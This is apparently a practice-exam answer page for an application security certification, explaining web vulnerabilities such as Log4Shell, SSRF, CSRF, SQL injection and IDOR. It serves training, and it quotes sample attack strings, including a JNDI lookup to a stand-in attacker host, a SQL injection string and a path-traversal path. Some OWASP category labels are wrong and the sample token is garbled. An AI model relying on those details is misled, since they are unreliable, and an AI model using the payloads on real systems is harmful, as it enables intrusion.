CAP The SecOps Group Certified AppSec Practitioner Exam Free Practice Exam Questions (2025 Updated)

The request is a GET to /userProfile.php with a sessionId parameter matching the JSESSIONID cookie, and the response is a 200 OK with an HTML page. Let’s evaluate the statements:

Option A ("The application uses an insecure channel (non-TLS)"): The request uses http:// (inferred from the absence of https:// in the Host and GET line), indicating a non-TLS channel. However, the question asks about the "application" (likely the server-side behavior), and the response does not explicitly confirm the channel used for the response. Modern browsers might enforce TLS, but the request suggests an insecure channel. This could be true, but it depends on the server’s configuration, making it less certain without further context.

Option B ("The application uses an insecure HTTP method (GET) to send sensitive information"): Correct. The sessionId parameter in the URL (/userProfile.php?sessionId=7576572ce164646de967c759643d53031) is sensitive data, as it could be used to hijack the user’s session. Using GET exposes this data in browser history, server logs, and referral headers, which is insecure. Best practice is to use POST for sensitive data to avoid such exposure. The JSESSIONID cookie is marked HttpOnly, mitigating some risks, but the sessionId in the URL remains a vulnerability.

Option C ("The application is vulnerable to Cross-Site Scripting attacks"): The response includes an HTML page with no visible user input or script execution. There’s no evidence of unsanitized input or script injection (e.g., no dynamic content like <script> tags with user data). The X-Xss-Protection: 1; mode=block header (though not shown) would mitigate XSS if present, but the response alone does not indicate vulnerability, so this is incorrect.

Option D ("All of the above"): Incorrect, as only B is definitively true; A is uncertain without confirming the response channel, and C lacks evidence.

The correct answer is B, aligning with the CAP syllabus under "HTTP Methods Security" and "Session Management."References: SecOps Group CAP Documents - "Insecure HTTP Methods," "Sensitive Data Exposure," and "OWASP Secure Coding Practices" sections.

The Log4j vulnerability, identified asCVE-2021-44228(commonly known as Log4Shell), is a critical security flaw in the Apache Log4j library, a widely used logging framework in Java applications. This vulnerability allows remote code execution (RCE) when an attacker crafts a malicious input (e.g., ${jndi:ldap://malicious.com/a}) that is logged by a vulnerable Log4j instance. The exploit leveragesJNDI (Java Naming and Directory Interface) Injection, where the JNDI lookup mechanism is abused to load remote code from an attacker-controlled server. All options (A, B, and C) list "JNDI Injection," which is correct, but since B is marked as the selected answer in the image, it is taken as the intended choice. This redundancy in options suggests a possible error in the question design, but the vulnerability is unequivocally JNDI Injection. Option D ("None of the above") is incorrect as JNDI Injection is the exploited vulnerability. This topic is critical in the CAP syllabus under injection attacks and RCE prevention.References: SecOps Group CAP Documents - "Injection Vulnerabilities," "Remote Code Execution," and "OWASP Top 10 (A03:2021 - Injection)" sections.

TLS (Transport Layer Security) certificates are validated by browsers to ensure secure communication. Browsers maintain a trusted store ofpublic keysfrom known Certifying Authorities (CAs), which are used to verify the digital signature of a TLS certificate presented by a server. This process involves checking the certificate’s signature against the CA’s public key to confirm its authenticity and validity. If the signature matches and other criteria (e.g., expiration, revocation) are met, the certificate is deemed valid.

Option A ("The browser contains the private key..."): Incorrect, as browsers do not contain private keys of CAs; private keys are kept secret by the CAs themselves.

Option B ("The browser contains the public key..."): Correct, as browsers use CA publickeys to validate certificates, enabling differentiation between valid and invalid TLS certificates.

Option C ("The browser contains both the public and private key..."): Incorrect, as browsers only store public keys, not private keys, for security reasons.

Option D ("The browser does not have any mechanism..."): Incorrect, as browsers have robust mechanisms (via CA public keys) to validate TLS certificates.

The correct answer is B, aligning with the CAP syllabus under "Secure Communication" and "TLS Configuration."References: SecOps Group CAP Documents - "TLS/SSL Security," "Certificate Validation," and "OWASP Cryptographic Practices" sections.

The password reset mechanism now includes a one-time random token alongside the userId in the reset link: https://example.com/reset_password?userId=5298 &token=70e7803e-bf53-45e1-8a3f-fb15da7de3a0. Let’s evaluate the effectiveness of this mechanism:

Analysis: The inclusion of a one-time random token (e.g., 70e7803e-bf53-45e1-8a3f-fb15da7de3a0) is a best practice for secure password reset mechanisms. This token should be unique, unpredictable, and tied to the specific user’s reset request (e.g., stored in the database with an expiration time). When the user clicks the link, the application should verify that the token matches the one associated with the userId and that it hasn’t been used or expired.

Preventing Arbitrary Resets: Without the token, an attacker could manipulate the userId (e.g., to 5299) to reset another user’s password (as seen in Question 45). However, with the token, the attacker would need to guess the correct token for the targeted userId, which is computationally infeasible if the token is sufficiently random (e.g., a UUID or cryptographically secure random string) and properly validated. This prevents unauthorized password resets.

Additional Considerations: The link uses https://, ensuring a secure channel (unlike Question 45). The message "If the email exists..." prevents username enumeration, as discussed previously.

Option A ("True"): Correct, as the one-time random token, if implemented correctly (e.g., validated server-side, single-use, time-limited), prevents an attacker from resetting arbitrary users’ passwords.

Option B ("False"): Incorrect, as the mechanism is secure with the token.

The correct answer is A, aligning with the CAP syllabus under "Secure Password Reset" and "Token-Based Authentication."References: SecOps Group CAP Documents - "Password Reset Security," "Token Generation Best Practices," and "OWASP Forgot Password Cheat Sheet" sections.

Null Byte Injection is a vulnerability where a null byte character (\0 or ASCII 0) is injected into user-supplied input to manipulate application behavior, often bypassing filters or terminating strings prematurely in languages like C or C++ that rely on null-terminated strings. In web applications, this is typically encoded in URLs using percent-encoding (e.g., %xx, where xx is the hexadecimal value). The ASCII value of a null byte is 0, which is represented as %00 in URL encoding.

Option A ("%01"): Represents the ASCII character with value 1 (Start of Heading), not a null byte.

Option B ("%10"): Represents the ASCII character with value 16 (Data Link Escape), not a null byte.

Option C ("%25"): Represents the % character itself (ASCII 37), not a null byte.

Option D ("%00"): Represents the null byte (ASCII 0), which is the correct URL-encoded form used in Null Byte Injection attacks.

The correct answer is D, aligning with the CAP syllabus under "Injection Attacks" and "Input Validation Bypasses."References: SecOps Group CAP Documents - "Null Byte Injection," "URL Encoding," and "OWASP Injection Prevention" sections.

SQL Injection (SQLi) occurs when an attacker injects malicious SQL code into a query by manipulating user input (e.g., ' OR '1'='1'), allowing unauthorized data access or manipulation. Let’s evaluate the defenses:

Option A ("Using a Web Application Firewall (WAF)"): A WAF can detect and block SQL injection attempts by filtering malicious patterns (e.g., ' OR '1'='1'), but it is not the primary defense. WAFs can be bypassed with sophisticated attacks (e.g., encoded payloads), and they are a secondary layer, not a fix for the root cause in the application code.

Option B ("Prepared Statements with Parameterized Queries"): Correct. Prepared statements with parameterized queries separate SQL code from user input by using placeholders (e.g., ? in SELECT * FROM users WHERE username = ?). The database engine handles the input as data, not executable code, preventing SQL injection. This is the industry-standard primary defense (recommended by OWASP and NIST) because it addresses the root cause by ensuring user input cannot alter the query structure.

Option C ("Use of NoSQL Database"): Switching to a NoSQL database (e.g., MongoDB) does not inherently prevent injection vulnerabilities. NoSQL databases can still be vulnerable to injection (e.g., MongoDB’s $where operator), and SQL injection applies to relational databases. This is not a defense against SQLi.

Option D ("Blacklisting Single Quote Character (‘)"): Blacklisting specific characters (e.g., ') attempts to block known malicious input, but it is ineffective as a primary defense. Attackers can bypass blacklists using alternate encodings (e.g., %27 for '), comments (e.g., --), or other techniques. Blacklisting is reactive and prone to evasion, unlike prepared statements.

The correct answer is B, aligning with the CAP syllabus under "SQL Injection Prevention" and "OWASP Top 10 (A03:2021 - Injection)."References: SecOps Group CAP Documents - "SQL Injection Defense," "Secure Coding Practices," and "OWASP SQL Injection Prevention Cheat Sheet" sections.

The request is a POST to /dashboard/userdata with a parameter useragent=http://127.0.0.1/admin. The response is a 200 OK with an HTML page titled "Admin Panel," suggesting the server processed the request and returned content from http://127.0.0.1/admin. Let’s evaluate the vulnerability:

Analysis: The useragent parameter contains a URL (http://127.0.0.1/admin), and the server appears to fetch content from this URL, as indicated by the response containing the "Admin Panel" page. The URL 127.0.0.1 refers to the server’s localhost, meaning the server is making an internal request to itself based on user input. This is a hallmark of Server-Side Request Forgery (SSRF), where an attacker can trick the server into making requests to arbitrary locations, including internal systems (e.g., 127.0.0.1) or external sites. SSRF can lead to accessing internal resources (e.g., admin panels, metadata endpoints) or performing unauthorized actions.

Option A ("HTTP Desync Attack"): HTTP Desync attacks exploit discrepancies in how front-end and back-end servers interpret HTTP requests (e.g., smuggling requests). This scenario involves a straightforward POST request with no evidence of desynchronization or smuggling, so this is incorrect.

Option B ("File Path Traversal Attack"): File Path Traversal involves manipulating file paths (e.g., ../../etc/passwd) to access unauthorized files on the server’s filesystem. The useragent parameter contains a URL, not a file path, and the response indicates a web request, not filesystem access, so this is incorrect.

Option C ("Open URL Redirection"): Open URL Redirection occurs when the server redirects the client to a user-supplied URL (e.g., via a Location header). The response here is a 200 OK, not a redirect (e.g., 302 Found), and the server is fetching content server-side, not redirecting the client, so this is incorrect.

Option D ("Server-Side Request Forgery"): Correct, as the server is making a request to http://127.0.0.1/admin based on the useragent parameter, indicating an SSRF vulnerability.

The correct answer is D, aligning with the CAP syllabus under "Server-Side Request Forgery (SSRF)" and "OWASP Top 10 (A10:2021 - Server-Side Request Forgery)."References: SecOps Group CAP Documents - "SSRF Vulnerabilities," "Input Validation for URLs," and "OWASP SSRF Prevention Cheat Sheet" sections.

The Same-Origin Policy (SOP) is a fundamental security mechanism in web browsers that restricts how a document or script loaded from one origin can interact with resources from another origin. An origin is defined by the combination ofprotocol,host, andport. Two pages have the same origin if their protocol (e.g., http://), host (e.g., www.example.com ), and port (default is 80 for HTTP) match exactly. The given URL is http://www.example.com/dir/page2.html, which uses HTTP, host www.example.com, and the default port 80.

Option 1 ("http://www.example.com/dir/other.html"): Matches the protocol (http), host (www.example.com ), and port (default 80), so it is in the same origin.

Option 2 ("http://www.example.com:81/dir/other.html"): Differs in port (81 vs. default 80), so it is a different origin.

Option 3 ("http://www.example.com/dir/other.html"): Identical to Option 1, matching protocol, host, and port, so it is in the same origin. However, since it’s a duplicate of Option 1 in the list, it doesn’t add a new page.

Option 4 ("http://en.example.com/dir/other.html"): Differs in host (en.example.com vs.www.example.com ), so it is a different origin.

Since the question asks which pages are in the same origin, and only Option 1 (and its duplicate Option 3) matches, the correct answer is A ("1 Only"), considering unique pages. The CAP syllabus covers SOP under "Client-Side Security" and "Cross-Origin Resource Sharing (CORS)."References: SecOps Group CAP Documents - "Same-Origin Policy," "Browser Security Models," and "OWASP Client-Side Security" sections.

The screenshot shows an HTTP POST request to /upload.php with a multipart/form-data payload, where the attacker uploads a file named malicious.php disguised as an image/jpeg but containing PHP code (<?php phpinfo(); ?>). This indicates an attempt to exploit aFile Upload Vulnerability. Such vulnerabilities occur when an application allows users to upload files without proper validation or sanitization, enabling attackers to upload malicious scripts (e.g., PHP) that can be executed on the server. In this case, if the server executes the uploaded malicious.php, it could expose server information via phpinfo() or perform other malicious actions.

Option A ("HTTP Desync Attack") involves manipulating HTTP request pipelines, which is not relevant here as the request appears standard. Option B ("File Path Traversal Attack") involves accessing unauthorized files using ../, which is not evident in this request. Option D ("Server-Side Request Forgery") involves tricking the server into making unintended requests, which does not apply to file uploads. Thus, C is the correct answer, aligning with the CAP syllabus under "File Handling Security" and "OWASP Top 10 (A05:2021 - Security Misconfiguration)."References: SecOps Group CAP Documents - "File Upload Vulnerabilities," "Input Validation," and "OWASP Top 10" sections.

A JWT consists of three parts:Header,Payload, andSignature, separated by dots (.). The given JWT is:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJUYW1I1joiU2vjbB3ZiNo_mn0vNWT4G1-ATqOTmo7rm70VI12WCdkMI_S1_bPg_G8

The first part (eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9) is the Header.

The second part (eyJUYW1I1joiU2vjbB3ZiNo_mn0vNWT4G1-ATqOTmo7rm70VI12WCdkMI_S1_bPg_G8) is the Payload.

The third part (not fully shown) would be the Signature, which is computed as HMAC-SHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret).

Option A ("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 represents a JWT Signature"): Incorrect, as this is the Header, not the Signature.

Option B ("mn0vNWT4G1-ATqOTmo7rm70VI12WCdkMI_S1_bPg_G8 represents a JWT Signature"): Incorrect, as this is part of the Payload, not the Signature.

Option C ("eyJUYW1I1joiU2vjbB3ZiNo represents a JWT Signature"): Incorrect, as this is the beginning of the Payload, not the Signature.

Option D ("None of the above"): Correct, as none of the segments listed represent the JWT Signature (the third part, which is not fully shown).

The correct answer is D, aligning with the CAP syllabus under "JWT Structure" and "Token Security."References: SecOps Group CAP Documents - "JSON Web Tokens (JWT)," "Token Integrity," and "OWASP JWT Cheat Sheet" sections.

Cross-Site Request Forgery (CSRF) occurs when an attacker tricks a user’s browser into making an unintended request to a site where the user is authenticated, potentially performing actions like changing a password. Let’s analyze the request:

The request is a POST to /changepassword with a Cookie: JSESSIONID, indicating the user is authenticated via a session. The Content-Length: 95 and payload (new_password=lov3MyPiano23&confirm_password=lov3MyPiano23) suggest a state-changing operation (password change).

CSRF vulnerability arises when the request lacks a unique, unpredictable token to validate its legitimacy, and the server accepts it based solely on the session cookie. The request includes no CSRF token (e.g., in the body or headers like X-CSRF-Token).

The Sec-Fetch-Site: same-origin header indicates the request originates from the samedomain, but this is a browser feature and does not guarantee server-side protection against CSRF from a malicious site (e.g., via a hidden iframe or form submission).

Without a CSRF token, an attacker could craft a malicious HTML page with a form that submits this exact request when a victim visits their site while authenticated to example.com, exploiting the browser’s automatic inclusion of the JSESSIONID cookie. This is a textbook CSRF vulnerability.

Option A ("True"): Correct, as the request lacks a CSRF token, making it vulnerable to CSRF attacks.

Option B ("False"): Incorrect, as the absence of a CSRF token indicates vulnerability.

The correct answer is A, aligning with the CAP syllabus under "Cross-Site Request Forgery (CSRF)" and "Session Management."References: SecOps Group CAP Documents - "CSRF Prevention," "Session Security," and "OWASP CSRF Prevention Cheat Sheet" sections.

The code snippet shows HTML <meta> and <link> tags, along with a <script> tag, loading external resources:

Bootstrap CSS from cdnjs.cloudflare.com (version 4.1.1)

jQuery JavaScript from cdnjs.cloudflare.com (version 3.3.1)

Let’s evaluate the potential vulnerabilities:

The resources are loaded from a third-party CDN (cdnjs.cloudflare.com), and the versions specified (Bootstrap 4.1.1 and jQuery 3.3.1) may have known vulnerabilities. For instance, jQuery 3.3.1 has known XSS (Cross-Site Scripting) vulnerabilities (e.g., CVE-2019-11358) that can be exploited if the library is used insecurely. Similarly, Bootstrap 4.1.1 has known issues (e.g., CVE-2018-14041) related to XSS in certain components like tooltips or modals if not configured properly.

The use of outdated or vulnerable third-party components is aComponent with a Known Vulnerability, a common issue in web applications. The CAP syllabus emphasizes identifying and mitigating risks from third-party libraries, especially those with known CVEs.

Option A ("SQL Injection"): SQL injection occurs in server-side database queries, not in client-side HTML or JavaScript loading. This code snippet does not involve database interaction, so this is incorrect.

Option B ("Type Juggling"): Type juggling is a PHP-specific vulnerability where loose type comparison (== vs ===) leads to security issues. This code is HTML/JavaScript, not PHP, so type juggling does not apply.

Option C ("Component with a Known Vulnerability"): As explained, the use of potentially outdated jQuery and Bootstrap versions introduces the risk of known vulnerabilities, making this the most applicable answer.

Option D ("Server-Side Request Forgery"): SSRF involves tricking the server into making unauthorized requests, which is not relevant here as the code loads resources in the browser, not on the server.

The correct answer is C, aligning with the CAP syllabus under "Component Vulnerabilities" and "OWASP Top 10 (A09:2021 - Using Components with Known Vulnerabilities)."References: SecOps Group CAP Documents - "Third-Party Component Security," "Software Supply Chain Security," and "OWASP Top 10" sections.

Hashing algorithms are used to securely store passwords by transforming them into fixed-length strings. A secure hashing algorithm for passwords should be resistant to collision attacks, preimage attacks, and brute-force attempts, and should be slow to compute to deter attackers. Let’s evaluate the options:

Option A ("SHA-0"): SHA-0 is the original version of the SHA family, published in 1993, but it was quickly withdrawn due to serious cryptographic weaknesses (e.g., collision vulnerabilities). It is not secure and should not be used.

Option B ("MD5"): MD5 is a widely used hash function but is cryptographically broken. It is vulnerable to collision attacks (e.g., practical attacks demonstrated since 2004) and is extremely fast, making it unsuitable for password hashing as it can be brute-forced easily.

Option C ("SHA-1"): SHA-1, part of the SHA family, is also considered broken for security purposes. It has known collision vulnerabilities (e.g., the SHAttered attack in 2017 demonstrated practical collisions), and like MD5, it is too fast for secure password hashing.

Option D ("Bcrypt"): Bcrypt is specifically designed for password hashing. It is a slow hashing algorithm with a configurable work factor (cost factor), making it resistant to brute-force attacks. It also includes a built-in salt to prevent rainbow table attacks. Bcrypt is widely recommended by security standards (e.g., OWASP, NIST) for secure password storage and is the most secure option among those listed.

The correct answer is D, aligning with the CAP syllabus under "Password Hashing" and "Cryptographic Best Practices."References: SecOps Group CAP Documents - "Secure Password Storage," "Hashing Algorithms," and "OWASP Password Storage Cheat Sheet" sections.

Multifactor Authentication (MFA) enhances security by requiring multiple forms of verification (e.g., something you know, like a password, and something you have, like a one-time code) to authenticate a user. It is effective against attacks that rely on stolen credentials, but let’s evaluate its impact on the listed vulnerabilities:

Option A ("Cross-Site Scripting Vulnerability"): XSS (Cross-Site Scripting) involves injecting malicious scripts into a web application that execute in the victim’s browser. MFA does not prevent XSS because it occurs after authentication; an attacker can exploit XSS to steal session cookies or perform actions on behalf of the authenticated user, bypassing MFA’s protection.

Option B ("Cross-Site Request Forgery Vulnerability"): CSRF (Cross-Site Request Forgery) tricks a user’s browser into making unintended requests to a site where they are authenticated. MFA does not prevent CSRF because the attack leverages the user’s existing session (post-authentication). The browser automatically sends cookies (e.g., session cookies) with the forged request, and MFA does not interfere with this process.

Option C ("Path Traversal Vulnerability"): Path Traversal allows an attacker to manipulate file paths (e.g., ../../etc/passwd) to access unauthorized files on the server. MFA does not prevent this because it is an application-level vulnerability unrelated to user authentication; an attacker with or without credentials can exploit it if the application fails to validate input.

Option D ("All of the above"): Correct, as MFA is designed to secure the authentication process, not to mitigate vulnerabilities like XSS, CSRF, or Path Traversal, which exploit application logic or session management after authentication.

The correct answer is D, aligning with the CAP syllabus under "Multifactor Authentication" and "Application Security Vulnerabilities."References: SecOps Group CAP Documents - "MFA Implementation," "XSS/CSRF/Path Traversal Mitigation," and "OWASP Authentication Cheat Sheet" sections.

A Race Condition vulnerability occurs in multi-threaded or multi-process applications when two or more threads access a shared resource concurrently, and the outcome depends on the non-deterministic order of their execution. This can lead to inconsistent states or security issues, such as privilege escalation or data corruption, if the access is not properly synchronized (e.g., using locks or semaphores). The classic definition focuses on concurrent access to the same resource.

Option A ("A situation that occurs when two threads access the same resource at the same time"): Correct, as this accurately describes a race condition where the lack of synchronization on a shared resource (e.g., a file, variable, or database entry) can lead to unpredictable behavior.

Option B ("A situation that occurs when two threads access different resources at the same time"): Incorrect, as race conditions specifically involve contention over the same resource, not different ones.

Option C ("A situation that occurs when a single thread unpredictably accesses two resources"): Incorrect, as race conditions require multiple threads or processes; a single thread’s behavior is not a race condition.

Option D ("A situation that occurs when a single thread predictably accesses two resources"): Incorrect, as predictability negates the race condition concept, and it still involves only one thread.

The correct answer is A, aligning with the CAP syllabus under "Race Condition Vulnerabilities" and "Multi-Threaded Security."References: SecOps Group CAP Documents - "Concurrency Issues," "Race Conditions," and "OWASP Secure Coding Practices" sections.

The HTTP response headers provide metadata about the server and its configuration. Let’s analyze each header and evaluate the statements:

Headers Breakdown:

Server: Microsoft-IIS/8.0: Indicates the web server is Microsoft Internet Information Services (IIS) version 8.0.

X-AspNet-Version: 2.0.50727: Indicates the application is using ASP.NET version 2.0.50727.

X-Powered-By: ASP.NET: Confirms the application framework is ASP.NET.

Other headers (e.g., Cache-Control, Content-Type, Expires) are standard and not directly relevant to the statements.

Option A ("The application is using an outdated server technology"): The Server: Microsoft-IIS/8.0 header indicates the server is running IIS 8.0, which was released in 2012 and is associated with Windows Server 2012. As of the current date (March 06, 2025), IIS 8.0 is outdated; Microsoft has released newer versions (e.g., IIS 10 with Windows Server 2016/2019). Additionally, mainstream support for Windows Server 2012 ended in October 2018, and extended support ended in October 2023, making IIS 8.0 unsupported and vulnerable to unpatched security issues. This statement is true.

Option B ("The application is disclosing the server version"): The Server: Microsoft-IIS/8.0 header explicitly discloses the server type (IIS) and version (8.0). Disclosing server version information is a security risk because attackers can use this to identify known vulnerabilities specific to that version (e.g., CVE exploits for IIS 8.0). Best practice is to suppress or obfuscate this header (e.g., Server: WebServer), so this statement is true.

Option C ("The application is disclosing the version of the framework used"): The X-AspNet-Version: 2.0.50727 header reveals the ASP.NET framework version (2.0.50727), which corresponds to .NET Framework 2.0, released in 2005. Disclosing the framework version is a security risk because attackers can target known vulnerabilities in that version (e.g., .NET Framework 2.0 is long unsupported; support ended in 2011). Best practice is to disable this header in the application configuration (e.g., in web.config for ASP.NET), so this statement is true.

Option D ("All of the above"): Since A (outdated server technology), B (disclosing server version), and C (disclosing framework version) are all true, this is the correct answer.

The correct answer is D, aligning with the CAP syllabus under "Information Disclosure" and "HTTP Header Security."References: SecOps Group CAP Documents - "Information Disclosure Prevention," "Server Hardening," and "OWASP Secure Headers Project" sections.

The scenario describes an e-commerce website where a user can view order details by manipulating the order_id parameter in the URL (e.g., https://example.com/order_id=53870). A security researcher found that changing the order_id allows access to arbitrary orders and sensitive data, indicating an authorization issue. This is not a simple input validation problem (e.g., SQL injection or path traversal), as the input (order_id) is processed, but the system fails to enforce proper access controls. This is a classic case of Insecure Direct Object References (IDOR), where an attacker can access resources by guessing or manipulating identifiers without proper authorization checks. The root cause is a weak authorization mechanism, likely tied to poor session management orprivilege validation, allowing unauthorized users to view others’ data.

Option A ("The root cause of the problem is a lack of input validation..."): Incorrect, as the issue is not about invalid input (e.g., malicious code) but about unauthorized access to valid data. Whitelisting might help sanitize input, but it doesn’t address authorization.

Option B ("The root cause of the problem is a weak authorization (Session Management)..."): Correct, as the problem stems from inadequate authorization checks. Validating user privileges (e.g., ensuring the user can only access their own orders) or improving session management (e.g., tying orders to user sessions) can fix this IDOR vulnerability.

Option C ("The problem can be solved by implementing a Web Application Firewall (WAF)"): Incorrect as a standalone solution, as WAFs mitigate certain attacks (e.g., SQLi, XSS) but are not a substitute for fixing authorization logic. A WAF might detect patterns but won’t enforce proper access control.

Option D ("None of the above"): Incorrect, as Option B accurately identifies the root cause and solution.

The correct answer is B, aligning with the CAP syllabus under "Authorization and Access Control" and "OWASP Top 10 (A04:2021 - Insecure Design)."References: SecOps Group CAP Documents - "Session Management," "Insecure Direct Object References (IDOR)," and "OWASP Top 10" sections.